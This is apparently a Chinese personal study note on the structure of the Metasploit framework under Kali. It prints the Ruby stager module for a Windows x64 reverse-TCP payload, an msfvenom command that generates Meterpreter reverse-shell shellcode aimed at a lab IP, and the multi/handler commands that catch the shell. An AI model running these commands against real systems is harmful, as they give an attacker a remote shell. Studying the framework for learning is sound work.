Metasploit框架分析

218 阅读2分钟

声明:本内容只作为个人学习研究使用,请勿用作其他用途。

msf本身只是一个攻击的框架,每个模块module以及payload都对应一个ruby脚本。随着漏洞更新,官方会提供新的攻击脚本,更新msf的过程可以理解为把这些新的脚本下载下来,就可以直接使用了。

kali自带的msf路径位置在/usr/share/metasploit-framework/

进入此目录结构如下,其中有msfconsole、msfvenom这些可执行文件

┌──(kali㉿kali)-[/usr/share/metasploit-framework]
└─$ ls
app            lib                           msfrpc     ruby
config         metasploit-framework.gemspec  msfrpcd    script-exploit
data           modules                       msfupdate  script-password
db             msfconsole                    msfvenom   script-recon
documentation  msfd                          msf-ws.ru  scripts
Gemfile        msfdb                         plugins    tools
Gemfile.lock   msf-json-rpc.ru               Rakefile   vendor

进入modules目录下,可以看到常用的auxiliary、encoder、exploits、payloads这些模块

┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ ls
auxiliary  encoders  evasion  exploits  nops  payloads  post            

在进入payloads目录下,可以看到payload的类型,了解了一下stagers模块是建立某种形式的通信,会在稍后加载stages模块的payload;因此可以理解为stagers是为下载stages攻击载荷提供服务的。平时生成的木马也就是这个stagers。

进入stagers目录中的windows/x64目录下可以看到reverse_tcp_rb,这应该就是平时使用的msfvenom命令使用的脚本(稍后会进行验证)。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=8899 -f raw -o /home/kali/Desktop/out.bin

脚本内容如下

module MetasploitModule
​
  CachedSize = 449
​
  include Msf::Payload::Stager
  include Msf::Payload::Windows::ReverseTcp_x64
​
  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Windows x64 Reverse TCP Stager',
      'Description' => 'Connect back to the attacker (Windows x64)',
      'Author'      => [ 'sf' ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'win',
      'Arch'        => ARCH_X64,
      'Handler'     => Msf::Handler::ReverseTcp,
      'Convention'  => 'sockrdi',
      'Stager'      => { 'RequiresMidstager' => false }
    ))
  end
end

看到include,去找找这个include,目录/usr/share/metasploit-framework/lib/msf/core/payload/windows/x64

看官方文档找到的https://docs.metasploit.com/api/Msf/Payload/Windows/ReverseTcp_x64.html

这个目录下有reverse_tcp_x64.rb文件,为了验证msfvenom命令是使用的这个脚本,这里给第一行汇编又加了一个cld命令,再次使用msfvenom生成一个raw格式的shellcode,拖入ida中发现确实汇编代码中增加了一条cld命令。并且msf可以获取shell(因为脚本中有一个CachedSize = 449不知道是干啥的,不知道修改asm之后会不会影响运行所以验证一下),验证完毕。

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp